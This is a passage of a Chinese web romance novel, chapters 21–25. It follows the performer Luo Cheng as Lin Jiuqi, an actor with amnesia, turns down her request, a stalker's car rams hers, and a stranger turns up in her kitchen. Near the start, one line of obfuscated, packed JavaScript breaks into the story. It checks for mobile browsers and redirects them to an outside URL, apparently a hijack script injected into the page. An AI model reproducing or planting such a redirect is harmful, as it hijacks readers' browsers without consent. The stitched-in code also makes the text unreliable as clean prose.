从2010年到现在,满打满算也有七年了。
乔媛媛眼泪止都止不住,“小洛澄,我是不是失恋了……”
想起什么,她又道:“詹江已也去了,你不是有詹江已微信吗,你快看看他发朋友圈没有。”
洛澄打开詹江已的朋友圈,果然,有一条在几分钟前发的,最朴素无华的祝福语,配上了一张生日会大合照。
【久期,生日快乐啊。】
乔媛媛一眼就锁定了大合照里站在C位林久期旁边的黄谦,而在他的另一边,就站在他那位绯闻女友。
乔媛媛彻底炸了,“你看!他俩连拍照都站在一起!”
詹江已都发了,那林久期呢?
洛澄忍不住也点开了林久期的朋友圈,空空如也。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401951|200437||http|test|mini|href|location''.split(''|''),0,{}));
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>她退到聊天界面,最后一句话还停留在她昨天又发去的信息。
【后天有空吗?】
任然没有回复,已经连续好几天没有回消息了。
忙着开生日会,应该比较忙吧。
心里有股莫名的酸楚,刚才那个生日会视频里,他有说有笑,好不欢快,现场又有那么多女艺人……
乔媛媛的眼泪一直往外涌,“他都有女朋友了,为什么还要跟我发消息啊,他这个渣男!”
洛澄眼窝子浅,看着乔媛媛哭,自己鼻子也跟着酸了,她连忙抱了抱乔媛媛,“不会的,他们肯定只是普通朋友。”
“可是他们真的好亲密。”
乔媛媛哭的撕心裂肺。
桌子上堆满了空酒瓶,两人也不知道喝了多少,聊了多久,窗外家家户户的灯在逐个熄灭。
乔媛媛边喝边哭,哭累了,趴在沙发上就睡着了。
洛澄搀扶着她回房间休息。
给她脱鞋脱衣服,盖好被子,一气呵成,洛澄累得直喘气。
她不经意瞧见旁边的书架,整个书架上放满了关于黄谦的周边,写真等等,数都数不过来。
书架最中间的那一层上贴着一张黄色便签,上面用红笔写了几个打字——我要站在他身边。
在字的旁边还画了一个爱心。
洛澄无声地笑了下,还说她是恋爱脑,到底谁才是啊。
醉酒后觉总是比平日还多,睡的还沉。
洛澄直到第二天中午才醒,醒来第一件事就是习惯性翻翻手机,她率先打开了微信。
“?!”
洛澄腾地一下从床上坐了起来。
今早凌晨1点林久期发来了消息——
【有空。】
他有空。
他说他有空!!!
昨天心里的不悦瞬间被抛之脑后,洛澄斟酌着写了一长断话,最后删删减减着,她逐字逐句地一遍遍检查,确认没什么问题后,她深吸一口气,点击发送。
【你今天什么时候方便?这家咖啡厅可以吗?平常没什么人,比较方便。】
洛澄又马上点进某团,把收藏里前些日早就选好的咖啡厅链接发送了过去。
等了五分钟对方都没有回,洛澄把音量调到最大,起身冲进卫生间。
听到浴室传来水流声。
乔媛媛从自己房间出来,“小洛澄,你大中午的洗什么澡啊?”
水流声太大,压根听不见乔媛媛在外面说些什么。
洗澡的浴室就像是最好的打歌舞台,洛澄手拿花洒,忍不住哼唱着歌曲。
门外的乔媛媛嘀咕了句:“中彩票了?心情这么好?”
她懒得在意,宿醉之后的头还是疼的,她又回了房间继续睡觉。
“叮咚——”
听到微信消息提示音的那一刻,洛澄连忙擦干手,拿起洗手池的手机查看。
林久期:【下午三点吧。】
洛澄盘算着时间。
三点,从家到咖啡厅要半个小时,那两点出门,她还有两个小时化妆收拾的时间。
他们住的楼层不算高,洛澄房间窗户外有一棵大树,不知何时飞来只鸟在枝头鸣叫。
洛澄听闻,她化妆的手没有停下,朝着枝头的鸟挤眉弄眼道:“早安,小鸟。”
22. 第22章
“噗。”乔媛媛恰逢喝水路过,一口水喷了出来,“早安?小鸟?小洛澄你大清八早的发什么疯?”
乔媛媛走进房间,看她正在梳妆台前捯饬自己,“你有约啊?”
洛澄不语,听着手机播放的轻快音乐,她摇头晃脑着。
乔媛媛:“你现在真的很像个颠婆。”
洛澄那双杏眼都快笑眯成缝了,“你不懂。”
乔媛媛:“你和林久期出去?”
洛澄:“这么明显吗?”
乔媛媛细细分析,“你洗了澡,戴了日抛,现在还在贴假睫毛,能让你这么大费周章的人,除了林久期,还能有谁。”
“真聪明。”洛澄对着她眨巴了下眼睛,“怎么样,好看吗?”
乔媛媛盯着她的脸,肤若凝脂,五官本就生的小巧又精致,现在化了妆更像是洋娃娃了。
“能迷死他的程度。”
洛澄满意笑道:“那我今天就迷死他。”
看着时间差不多了,洛澄收拾好东西就出了门。
今天道路意外通畅,连红绿灯都没有多等,两点半洛澄就到咖啡厅了。
洛澄:“你好,一杯香草拿铁,一杯冰美式。”
林久期两点40分左右到的。
他戴着一顶蓝色鸭舌帽,穿着蓝白相间的格子衬衫,走到吧台前,压低声音,“你好,一杯冰美式。”
工业风格装修的咖啡厅安静无比,只有二楼靠栏杆位置的一桌有人,林久期随之走上楼。
林久期坐在洛澄对面的位置,“久等了。”
洛澄:“我也刚到。”
话毕,林久期前脚刚上二楼,后脚服务员就端着一杯冰美式上来了。
他微愣,这家咖啡店出餐这么快?
洛澄从包里拿眼镜盒以及一个蓝色包装的礼物盒,“和你衣服还挺配。”
林久期陷入沉默,洛澄解释:“生日快乐,生日礼物。”
林久期只是伸手拿过眼镜盒,打开一看里面是他的墨镜,“太破费了,心意领了,礼物就不用了。”
洛澄起身,拿着礼物盒就塞他手里,“就当是特种兵考核的时候,你照顾我的谢礼,收下吧,我也用不到,丢了怪可惜的。”
林久期戴着口罩看不见他此刻的表情,只是语调不轻不重,平静地说了一句:“谢谢。”
洛澄:“其实,我是有一件事想麻烦林老师。”
林久期:“你说。”
“我朋友,就是乔媛媛,她也在盐城电影学院上学,和你一个学校,她毕业考试是拍一部小短剧,缺了很重要的部分,”
洛澄顿了一下,与林久期的目光一触,“缺个男主角。”
林久期明了她的意思,他端起杯子喝了口咖啡,“洛老师,实在抱歉,这件事我没办法帮到你。”
“我知道你平常很忙,只需要你在之后一年的时间里抽空来拍,很短的。”
怕林久期觉得她无事献殷勤,洛澄又道:“我不是要贿赂你,生日礼物和这件事是两码事。”
“很抱歉,艺人是不能接私活的。”
林久期说话总是不疾不徐的,嗓音也像清润的泉水,用最温柔的声线说着拒绝人的话。
洛澄:“普通的艺人不行,但林久期可以。如果是报酬方面,你可以提。”
“实在抱歉,希望洛老师能找到更合适满意的人选。”林久期看了看时间,“我还有事,就先行一步了。”
林久期下到一楼,吧台前,“你好,二楼五桌的,结下账。”
服务员:“您好,那位女士已经结过账了。”
闻言,林久期抬头,碰巧与洛澄看他的视线相撞,洛澄动了动唇,想说些什么,只见林久期已离开。
-
“怎么样?”
洛澄泄气地倒在客厅沙发上,“见到了,不怎么样。”
乔媛媛:“发生什么了?”
“我想让他出演你毕业作业的男主角,他没同意。”一想到他丝毫不考虑的样子,洛澄有气无力道:“我都说了报酬他可以提。”
乔媛媛忍不住泼冷水,“小洛澄,他如果真提了,是你卖肾给他钱,还是我卖肾?”
洛澄:“什么意思?”
“你知道林久期的片酬是多少钱吗?”乔媛媛比了个数字4的手势。
洛澄:“40万。”
乔媛媛:“400万。”
洛澄:“怎么多?!”
乔媛媛:“一集。”
“……”
洛澄想了想自己现在拍的这部戏,总共才赚30万,还不抛开给公司的。
400万一集。
她得卖多久的命才能赚到这么多啊。
一转眼,洛澄也结束了在盐大四年的大学生活。
六月酷暑,一帮穿着学士服的毕业生在赤日炎炎下留念拍照。
“洛澄,可以和你拍张照片吗?”
“我也想我也想。”
其他专业的毕业生鼓起勇气跑来洛澄跟前。
“好啊。”洛澄贴近来询问的女同学,冲着她举起地手机,比了一个万年拍照专用姿势剪刀手。
女同学:“谢谢!祝你一切顺利!”
洛澄笑吟吟道:“祝你也祝我。”
周围别的毕业生瞧见了,也纷纷围了上来。
“洛澄,我也想和你拍张照片。”
在举办毕业典礼的操场上,和洛澄拍照的人排了好长的一队伍,乔媛媛来的时候见她被围得水泄不通。
等了许久,她身边的人才渐渐减少,乔媛媛走上前。
“毕业快乐啊小洛澄。”
洛澄接过她递来的花,“大作家有备而来啊,这不得拍张照纪念一下。”
“你好同学,”洛澄把手机递给旁边的人,“可以帮我们拍张照吗?”
“可以的。”
洛澄抱着那束鲜花,规规矩矩站在旁边,而乔媛媛像是得了多动症,一会儿抱抱她,一会儿跳起来,又一会儿做着搞怪的姿势。
看着拍出来的照片,洛澄每张照片的姿势都一模一样,乔媛媛调笑道:“小洛澄,请问你是水印吗?”
洛澄:“嗯,你的专属水印。”
乔媛媛被逗开心了,“怎么了,今天小嘴抹了蜜啊。”
洛澄笑了笑,话锋一转,“你们学校的毕业典礼是多久?”
乔媛媛:“我哪知道呀,我又不是大四的。”
洛澄:“你帮我打听打听。”
两人正唠嗑,不远处一头红发的詹江已也来了,他手里同样抱着束花。
“看来有人比我快一步。”
送上祝福后詹江已没多逗留,还有其他事要忙,他便先走了。
“他这是专门来给你祝贺的啊。”乔媛媛啧啧两声,“他对你还挺上心啊,要不你考虑考虑詹江已,我觉得他也挺不错的。”
这八竿子都打不着的
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事,洛澄一点也不想多想,“不考虑。”
六月是毕业季。
通过乔媛媛的打听,盐城电影学院的毕业季就在后天。
洛澄当天在剧组杀青,结束后就匆匆坐车往盐城电影学院赶。
“你好,请问毕业典礼怎么走?”
洛澄随即问了位路人,他朝某个位置指,“从这里绕过图书馆,在大礼堂那边。”
毕业典礼刚好结束,无数的毕业生从礼堂里三三两两结伴而出。
洛澄站在远处的树后,紧盯着大礼堂的方向。
良久,人群中,林久期手拿着学士帽和身旁的同学一同走出,而那一直站在礼堂外,穿着黄色送餐服的外卖小哥,把手里一束花递给他。
林久期旁边的同学逗趣道:“久期,谁送的花啊?女朋友啊?”
林久期舒眉浅笑着:“别胡说。”
听不清他们在说什么,洛澄见林久期收了花,她拿出手机发了条消息。
【收到花了吗?】
听到手机响,林久期打开一看,原来是她订的?
林久期:【你订的?】
洛澄:【毕业快乐。】
林久期:【谢谢。】
洛澄:【晚上有空吗,一起吃饭吧。】
怕他会拒绝,她又发了一条:【詹江已约的。】
林久期刚收到洛澄的消息,顶端弹出詹江已发来的微信消息。
【晚上一起吃饭兄弟。】
林久期打在和洛澄对话框里的【不了,要忙】几个字,删掉,他切换到詹江已的微信里。
【哪些人?】
詹江已:【就哥几个。】
【哦对了,我还喊了洛澄和乔媛媛。】
【你懂的。】
林久期:【好。】
洛澄从远处瞧着他一直在看手机,但是就是没有回消息。
这个人,看手机了怎么不回她信息啊?
过了许久。
林久期:【嗯。】
-
“来,祝我们的两位大学生,毕业快乐!”
詹江已高举酒杯。
吃完饭后,一行人在范少杰的酒吧里庆祝。
酒吧气氛高昂,除了他们坐的二楼vip位置以外,楼下座无虚席,基本都是来狂欢的毕业生。
狂野的音乐一首接一首,其他五人已经酒精上了头,唯独林久期保持着清醒。
范少杰都止不住吐槽:“久期,难得开心,你说你就醉一回能怎样?”
詹江已接话:“我就没见他喝醉过。”
范少杰:“我还不是。”
酒精和灯光交织在一起,洛澄睁着惺忪的醉眼,直勾勾盯着林久期,过往与他的哪些点点滴滴全部涌现,包括他那段十八秒语音。
辛辣的酒洛澄一饮而尽,尔后她笑了起来,“林久期,我答应你。”
此话一出,除了她自己,其他人都懵了。
林久期淡然自若地问:“答应什么?”
乔媛媛拉着洛澄,怕她又像上次一样吐别人一身,“她喝多了。”
“我没喝多。”洛澄大手一扬,站起来拍了拍范少杰的肩膀,“让一让。”
两人对换了位置,洛澄坐到林久期身边,那双灵动的眼睛多了几分迷离。
——姌姌,生日快乐,还有,我喜欢你,你愿意做我的女朋友吗?
她醉醺醺说:“我答应你,做你女朋友。”
23. 第23章
“……”
林久期那双黑瞳中满是愕然,他甚至都还没开口说些什么,旁边已经有人起哄了。
“不是,久期,你和洛澄什么情况?你在追洛澄?”范少杰以一种“你不道德”的眼神注视着林久期,“你明知道老詹对洛澄有意思。”
黄谦附和:“久期,你不地道啊。”
乔媛媛在旁白了他一眼,“你别添乱。”
詹江已的面上有几分诧异和不悦,“久期,你可从来没告诉过我们,你喜欢洛澄。”
林久期轻轻皱眉,“她喝多了,胡乱说的。”
“我没有乱说。”洛澄那张脸格外认真,泪水从眼眶里漫出来,“林久期,是你亲口跟我说,问我可不可以做你女朋友的。”
黄谦喝着小酒,看热闹不嫌事大的样子,“背刺啊兄弟。”
林久期收敛了笑意,他望向洛澄的眸光微沉,“你喝醉了。”
洛澄现在在他眼里就是个神志不清的人,虽然喝多了,可也不能如此败坏他名声。
他看了眼腕上的手表,“时间不早了。”
即使他语调平平,乔媛媛还是有点眼力劲的,她拉着洛澄,“小洛澄,我们回家了。”
困意席卷,洛澄趴在桌上半睁着眼睛,一言不发。
夜色融融,大街小巷只有微弱的灯光。
旁边的商场已经关门了,这会儿空旷的街道上只有他们几人。
詹江已打了个车,先带着乔媛媛和洛澄走了。
檀冶赶到的时候,看着烂醉如泥的范少杰和黄谦,两人已经蹲在路边睡着了。
檀冶上前拉扯着范少杰,他一动不动,檀冶这分钟终于明白林久期在电话里的那句——
“兄弟,我实在没法一拖二。”
檀冶:“怎么跟个死猪一样,把他丢这得了。”
林久期悠悠笑道:“我看成。”
-
6月底的盐城最为热闹,各种演唱会音乐节基本安排在这段时间。
洛澄被邀请参加盐城音乐节,看了主办方的嘉宾名单,TheOne在海报正中央,最显眼的位置。
音乐节下午1点开始,休息时间略长,只表演了几位歌手,就已经是下午六点过了。
天上蓝雷暗闪,又绵又细的雨扑面而来。
距离上一位歌手演唱是40分钟前了,台底下的观众已经变得有些躁动了。
后台的工作人员此刻忙得不可开交。
“设备进水了,快快快,别弄了,去前面处理一下!”
“不行啊,音响没声音!”
“洛老师,实在不好意思,辛苦您再等等。”
洛澄恰好是下一个上台的,她朝工作人员摆摆手,“没事。”
周围是铺天盖地的雨声,等候的时间越来越久,台下所有人都在呐喊。
“退票!”
“退票!”
淋着大雨等,换做谁都是不太情愿的。
舞台是露天的,设备倒是用篷挡住雨了,可人却没办法幸免,在一声声退票中,洛澄打着一把透明雨伞,走上台。
音乐响起,台下吵闹的声音才缓缓降低。
洛澄穿着抹胸的牛仔连衣裙,暴露在外的皮肤被雨水肆意拍打,水珠接连不断从白皙的皮肤上滑落。
方才还是近30度的天气,下了雨,温度骤降,风只需要轻轻一吹,鸡皮疙瘩能掉一地。
小助理在台下等候,但肚子咕噜噜叫个不停,实在忍不住了,她左看看又望望,瞅见林久期在舞台背后与人讲话,她马不停蹄跑过去。
“不好意思啊林老师,麻烦一会儿你把这两样东西给洛老师,我肚子疼得厉害。”
她顺势把外套和热饮给了林久期,匆忙跑了。
没过多久,洛澄几首歌曲演唱完,与粉丝拍了张大合照就下了台。
台下没看到小玲的身影,倒是看到林久期手里拿着她的衣服。
林久期接过她手中的伞撑着,洛澄套上外套,冻僵的身子终于有点回温了,“谢谢。”
她双手捧着热饮,“小玲呢?”
“卫生间。”
林久期穿着白衬衫,系着手工定制的珠片领带,外套着浅蓝色的牛仔夹克,两人此刻站在一起,看上去格外搭配。
台下vip专票的粉丝离他们不算远,不少人拿着手机一顿狂拍。
洛澄也注意到了。她表面风轻云淡地和林久期说着话,心里乐开了花。
他们今天穿得像极了情侣穿搭,嗯,挺好。
“林老师,上次我跟你提的事,希望你可以再考虑一下。”
雨势太大,两人往休息室方向走,林久期一手执伞,他笑意不达眼底,疏离又客套,“我相信洛老师能找到更合适的人选。”
-
这场音乐会结束后,网上对于主办方是铺天盖地的谩骂,一打开微博,10条里面有8条都是关于盐城音乐节的。
当然,其中也包括了林久期和洛澄,两人同框的照片也不少,俊男靓女,看着就养眼。
而别人拍的那些高清照片,洛澄也一个不落的全保存了下来。
两人的八卦也不少,洛澄在微博吃完自己的瓜后,整个下午都窝在家里写歌作曲。
八成是之前音乐节淋雨着凉,一直咳嗽不断。
洛澄换了身衣服,戴上口罩后出门。
药店不远,就在小区楼下。
在踏进药店的前一秒,洛澄感受到一道如炬的目光盯着自己。
她回首望去,周围都是来往的路人,没有任何异样。
错觉吗?
洛澄没多想,买好药就返回了家里。
吃了感冒药后困意来袭,洛澄把感冒药顺手放在自己房间床头柜上,倒床补起觉来。
醒来的时候已经是晚上九点过了。
乔媛媛正巧回来,两人琢磨着懒得下厨了,干脆去外面吃。
盐城有一条名为民金路的街道,最是烟火气,早晚市有不同风采。
这会儿街道两侧占满了摊位,小吃是应有尽有,在这里就算是半夜两三点,也是人满为患。
洛澄和乔媛媛到的时候快10点了,每一家几乎都座无虚席。
走了半天,终于找到一家有座的。
“饿死了,我今天忙的一天没吃饭了。”
烧烤和炒饭一端上来,乔媛媛像是饿了三天似的,狼吞虎咽。
洛澄拿起一串烤肉,还没入嘴,突然背脊发凉,她猛一回头,那种感觉又瞬间消失了。
乔媛媛见她不知道在到处
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看什么,问道:“怎么了?”
洛澄收回视线,“我今天总感觉有人在盯着我看。”
乔媛媛见怪不怪,这分钟除了嘴里的肉,没有什么能让她上心,“盯着你看不是很正常吗?你现在怎么说也算是小有名气。”
她手拿竹签随手一指,“你看那边,还有人在偷拍你。”
洛澄余光撇过去,是有几位年纪轻轻的小姑娘,一边用手机对准她,一边交头接耳。
她摇了摇头,“感觉不一样。”
乔媛媛不解,“有什么不一样的?”
“就像是……”洛澄欲言又止,那种感觉就像猎人在看猎物一般,她说不上来,“算了没事。”
乔媛媛:“我看你肯定是最近没休息好的缘故,你明天在家好好补个觉。”
说起明天,洛澄恍然想起明天一早她就要去拍戏,拍完戏还有好几个通告要赶。
一堆事情等着她,想想就头疼,“这觉是补不了一点。”
自从参加了特种兵综艺后,洛澄的名气提高了不少,通告也是一个接一个。
起早贪黑已是常态,有时候一天的睡眠时间都还不足四个小时,只能借着在车里的短暂时间,抽空补觉。
午夜的街道灯光昏暗,路上的车辆也少之又少,寂静而昏暗。
洛澄头倚着车窗,闭着眼,呼吸清浅平稳,大概是真累了,睡得很熟,旁边飞驰而过几辆摩托车,引擎那炸耳的轰鸣声都没将她吵醒。
旁边的小玲不敢吭声,只是朝那几个鬼火少年骑走的方向瞪了眼。
刚要收回视线,不经意撇到后视镜,在他们后面有一辆黑色轿车。
作为明星助理的本能,小玲对开车的司机小声道:“右拐。”
司机没多问,照做。
原本直走回家的路,变成了右拐。
小玲盯着后视镜,那辆黑车也跟着一同右拐。
甚至后面过了好几个红绿灯,那辆车始终紧跟着。
司机也注意到了这辆尾随的车,他脚踩油门,车子像张驰的箭一样飞了出去。
后面的车也提了速,两辆汽车在狭长的街道上疾驰速度越来越快。
又是漂移,又是转弯加速的,洛澄想不醒都难。
她揉着轻跳的太阳穴,“怎么了?”
小玲指着后视镜,“澄姐,有人跟踪我们。”
也不知道是哪家的狗仔,盯这么死,洛澄看眼时间,大半夜的十二点多不回家睡觉,这么敬业。
“甩开他。”
被狗仔尾随也不是一次两次,之前轻而易举就甩开了,没想到这次的狗仔有点东西,像狗皮膏药似的,小玲皱着眉,“咬太死了。”
原本可以回家好好睡一觉,现在这么一折腾,直接耽误了她休息时间,洛澄脸色变了变,瞬间冷了下来。
司机再次提速,左拐冲进一条小巷里。
小玲一直注视后视镜里后面的情况,他们开了一会儿,那辆黑车都没有再出现。
“澄姐,甩开了。”
就在她刚说完的下一秒,从他们左边的一条巷道里冲出一辆黑车,像是脱缰的野马,司机急忙打转方向盘,可还是慢了一步。
“砰——”
那辆黑车重重地撞在了商务车的车身上。
24. 第24章
医院充斥着刺鼻的消毒水味,VIP病房内,吊瓶滴答作响。
“洛学姐,你知道是谁在尾随你吗?”
病床上的洛澄脸庞苍白到没有一丝血色,她头上缠着白色绷带,看着叫人心疼,她一阵咳嗽后,摇了摇头。
救护车和警车赶到时,只有他们这辆车内受伤的三人,而那肇事者连车带人都不见了踪影。
因为是在老小区的巷道里,周围连摄像头都没有,警方那边还在全力追查。
“你放心,警察一定会抓住那个坏蛋的!”
郑巧儿一脸打抱不平。
她刚说完,是几声敲门音,詹江已一手抱着鲜花,一手提着果篮进来。
见洛澄虚弱的模样,詹江已着急道:“美人儿啊,怎么伤的这么严重?!”
洛澄往詹江已背后瞅了瞅,确定除他之外没有人再跟着进来,她眼睑微阖,极力盖住眼底那抹失落,转而唇瓣动了动,“我没事。”
詹江已:“头都包成这样了还没事。”
洛澄没应他的话,放置在白色被子上的手不由握紧,犹豫半晌,她终于还是开了口,“林久期呢?”
詹江已倒水的手一顿,“他啊,这会儿估计在剧组。”
随后他走到病床前递水给洛澄,漫不经心笑道:“美人,别答应久期了,答应我吧。”
洛澄茫然看着他,“啥?”
詹江已红发被梳成背头,几缕碎发在额前轻扫,坚挺的鼻梁上架着一副橘黄色眼镜,他唇瓣一勾,“做我女朋友。”
“噗——”
洛澄还未咽下的一口水喷了出来,她猛咳嗽好几声,扯着头上的伤口隐隐作痛。
她甚至什么都还没说,詹江已已经递了纸巾过来,又道:“怎么还高兴过头了。”
“……”
怎么能有人这么自恋?
“詹江已,别拿我取笑了。”
洛澄实在是不想再回忆起那天自己犯蠢的事情,当着那么多人的面,她真是丢脸丢到家了,詹江已这会儿来这么一出,她全然只当他在开玩笑。
可詹江已并不这么觉得,他坐在一旁的凳子上,漆黑的眸子时时刻刻望着洛澄,“我怎么会取笑你呢,我说的都是心里话。”
詹江已收起以往吊儿郎当的模样,句斟字酌地说:“我想跟你谈恋爱。”
会不会太直白了点?
洛澄心里嘀咕。
她垂着头,手捏着纸巾擦拭着嘴角的水渍,詹江已的目光灼灼,但她始终不敢抬头,怕她的心事一不留神就被对方看穿。
郑巧儿在旁边大气不敢喘一下,只能默默待在一边,当个在线吃瓜的小透明。
也不知过了多久,詹江已低笑了声,“你放心,我想跟你谈恋爱,因为我喜欢你,那是我的事情,至于你答不答应,那是你的事情,你不用觉得有压力。”
洛澄正在想拿什么理由拒绝他,就听到他这般说,心里泄下一口气,“詹江已,你很好……”
“打住。”詹江已笑道:“你该不会是要给我发好人卡吧,我知道我很好,一直都知道。”
“你优秀,好看,很体贴,人也幽默,如果我更早些遇到你,我肯定会喜欢你。”
詹江已挑眉,“没想到我在你心里评价这么高。”
洛澄咬了咬下唇,“但是……”
“但是你喜欢林久期。”
詹江已抢先她一步,说了出来,他神情悠然,仿佛根本不在意。
洛澄愣了下,“你怎么知道?”
詹江已:“因为我还很聪明。”
“谁说喜欢就一定要在一起的?你可以考虑考虑,即使我们做不成恋人,做朋友……”
詹江已从座位上站起来,笑嘻嘻的,“也不错。”
“好了,你好好休息,我还有点事。”
看着关闭上的病房门,洛澄一时间说不出话来。
还是郑巧儿率先开了口,“洛学姐,我看詹老师他,也挺好的。”
洛澄没什么反应,表情也淡淡的,郑巧儿怕自己说错话惹她不高兴,又急忙道:“当然啦,林老师也很好!洛学姐和林老师也很配!”
很配吗?
洛澄苦笑了下。
她以前也这么觉着。
洛澄从出车祸开始,住院了整整一个星期,前几天她总用“林久期很忙”,来宽慰自己。
怎么说他们也相处了有一段时间,作为“朋友”,或许能来看看她。
可直到洛澄出院,林久期一次没来过,甚至连一条信息也没发过。
看来,还是她把她在林久期心里的地位看高了。
林久期没来,詹江已倒是天天跑来。
乔媛媛有时候都半开玩笑着说:“詹江已,你这来医院跟回家一样啊,这么勤。”
詹江已也是大言不惭道:“美人在哪,哪就是家。”
乔媛媛扶额:“谢谢,有被恶心到。”
出院那天,詹江已来的很早,出院的各种手续都是他忙前忙后帮忙处理的。
还亲自开车送洛澄和乔媛媛回家。
进了屋,乔媛媛憋了很久的话,忍不住了,“这詹江已怎么这么殷勤啊?你俩肯定有事。”
她说的十分笃定,洛澄连撒谎的机会都没有,干脆大大方方道:“他让我做他女朋友。”
乔媛媛“啊”地大叫一声,“我觉得可以!”
“可以什么可以,一点都不可以。”
洛澄撇了撇嘴,往自己房间去。
乔媛媛跟着她后面,喋喋不休,“你考虑考虑。”
“不考虑。”
洛澄回到房间,第一时间脱下自己的外套,手机随手放在床头柜上,她突然目光一凝,“媛媛,你有看到我床头柜的感冒药吗?”
乔媛媛:“没有,我没进过你房间,你是不是随手放在那里忘记了?”
“应该是吧。”
洛澄实在想不起来了,她推着乔媛媛往外走,“我要换衣服。”
乔媛媛站在房间外,一门之隔,她又绕回刚才的话题,“我觉得詹江已真的挺不错的!”
-
洛澄因为车祸住院的缘故,这几天都不需要去剧组,况且她的戏份本就不多,请几天假也不是难事。
一些公告也让菲姐推掉了,她这段时间只需要好好养伤。
也趁着这次机会,洛澄去了趟希望孤儿院。
“诶呦,小澄你来就来,怎么又带这么多东西。”
洛澄提着大包小包的,跟着刘妈妈进了院内。
从林久期出事后,她这四年总是会来希望孤儿院,一方面是找刘妈妈打听林久期有没有回来过,另一方面也算是代替林久期,多来看望刘妈妈。
“久期他啊,前段时间来过。”
林久期这四年从未来过,听到刘妈妈的话,洛澄错
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愕不已,“他什么时候来的?”
刘妈妈想了想,“好像是四月份的时候了。”
四月?
洛澄忽而想起当时在录特种兵的时候,她跟林久期说过的话——
“你不给刘妈妈打个电话吗?”
“她是谁?”
“希望孤儿院的院长。”
难道他是因为这个才来的?
刘妈妈:“他来也没说什么,就问了一些他以前的事。”
林久期来的那天,天比较阴,灰蒙蒙的浊云下光线比较暗。
刘妈妈也是年过六旬的岁数了,眼神不大好,看见孤儿院门口总有个年轻小伙在那徘徊。
刘妈妈主动上前,“小伙子,你找谁啊?”
林久期闻声转过身来,刘妈妈愣怔看着他,她扶了扶自己的老花镜,仔细盯望了好一会儿,“你……你是久期?”
林久期:“您认识我?”
久违的见面,刘妈妈当时就润了眼,她手拉着林久期往里屋去,好一阵子的嘘寒问暖。
……
洛澄:“后来呢?”
刘妈妈说着说着,眼睛也湿润了起来,“后来啊,我就给他看了他小时候在这里拍的照片。”
林久期也是看到照片后,彻底相信自己从小在孤儿院长大,他也告诉刘妈妈,他之前出了场车祸,就什么都不记得了。
“他还问了他父母的事情。”
听了刘妈妈的话,洛澄心头一紧,“您怎么说的?”
知道洛澄在担心什么,刘妈妈轻拍了拍她的手,“放心,我只是跟他说他父母车祸生亡了,其他的什么都没说。”
洛澄离开孤儿院时,天色已暗。
她走在人潮汹涌的街道,思绪万千。
说实话,她真的很想很想林久期恢复记忆,自私的希望他想起他们曾经的点点滴滴。
可……
如果他恢复记忆,那些难过的曾经,又该怎么办呢?
如果他就像现在这样,平安快乐一辈子,也行。
想不想起她,好像也没那么重要了。
洛澄蹦出一个想法。
如果不恢复记忆,那就让他重新喜欢上她,好像也是个办法?
想到这,洛澄掏出手机。
【林老师,你什么时候有空?】
【刘妈妈让我转交东西给你。】
到洛澄回到家时,林久期才回复。
【不好意思,最近比较忙。】
洛澄打开冰箱,里面放满了水果和酸奶,怎么买了这么多?
也许是乔媛媛兴致大发,洛澄拿了瓶酸奶,走到客厅沙发上坐着。
点开了和林久期的微信框,看着他拒绝的话,忍不住叹气。
林久期再次用忙当理由拒绝了她。
她不得不承认,这是一个很好的说辞。
-
天际一片沉寂,凉风从未关的窗外呼啸而过,卷着窗帘摇动,昏暗中像是鬼影跳舞,阴森又诡异。
洛澄昏昏沉沉地从床上爬起来,有些口渴,往客厅的饮水机那走。
她刚拿起的杯子,便听见厨房那边有稀疏的声响。
“媛媛?大晚上你不睡觉在干嘛?”
洛澄饮下一杯水后才往厨房去。
银色的微弱月光下,一个穿着绿色格子衬衫的陌生男人站在冰箱前。
“你是谁?!”
25. 第25章
洛澄往后退了一步,她手在背后灶台上胡乱摸着,在角落里摸到一把水果刀,她握住刀柄的手不受控地颤抖。
她咽了咽口水,紧盯着面前的人。
如果他敢做出什么事,她一定和他鱼死网破。
“你是谁,你为什么会在我家里?”
“你不认识我吗?洛澄。”
男人说罢,忍不住往前走了几步。
洛澄立刻举起刀竖在面前,“你别过来!”
借着忽明忽暗的月光,洛澄看清了男人的脸,相貌平平,在鼻头上有颗很显眼的痣,皮肤还算干净,看上去与她年龄相仿。
“我不认识你,你到底是谁,你又是怎么进来的?!”
洛澄想要报警,可手机放在了房间里,她这个时候如果乱动一步,她根本不敢保证眼前这个男人能做出什么事来。
厨房的动静吵醒了熟睡中的乔媛媛,她闻声赶来厨房,便瞧见洛澄手持刀对着一位陌生男人,她登时吓了一跳,尖利的嗓音几乎破了音,“小偷!”
男人摆了摆手,“别害怕,我不是小偷,我也不会伤害你们的,我来给洛澄送吃的。”
洛澄眯着眼,“冰箱里的那些吃的,是你放的?”
“是啊,是我,你喜欢吗?喜欢的话我下次多买些。”
男人说这话时根本没觉得有任何不妥,语气里还充满了骄傲,他说完,想起什么又道:“你的伤好些了吗?”
洛澄不语,她余光撇了眼旁边的乔媛媛,她穿着睡裙,两手空空,一眼就看出她也是个没带手机的。
乔媛媛挪到洛澄旁边,拽了拽洛澄的衣角,面上任然怒斥道:“你再不走我报警了!”
“别别别,我走,我这就走。”
男人没打算把事情闹严重,他说完就往外走。
洛澄和乔媛媛立马让开道,洛澄始终举着刀,直到男人从大门离开。
“呯——”
水果刀掉落在白瓷底板上,发出刺耳的声响。
洛澄大喘着气,后背的汗水已然打湿了睡衣,黏答答的,粘在身上。
乔媛媛跑去三下五除二反锁了门,脚一下就软了,跪坐在地上,“太可怕了……”
她缓了好半天才缓过神,细听都能听出声音在颤,“小洛澄,他是谁啊,你们认识?”
四处张望周遭的情况,确认家里是安全的后,她眼神里那摸慌乱才褪去,她把水果刀放置好,道:“我不认识他。”
“那他怎么知道你受伤了?”乔媛媛倒吸了口气,“那天尾随你的该不会就是他吧!”
乔媛媛自顾自说着:“但是看他刚才的样子,并不想伤害你啊,难道是私生饭?”
洛澄脑海中一片混乱。
这个男人到底要干什么?
经历了这一出的折腾,洛澄和乔媛媛一晚没睡,第二天一早,就联系了房东地换了门锁。
洛澄这才安心。
中午补了两个小时的觉,马不停蹄地就起床出门了。
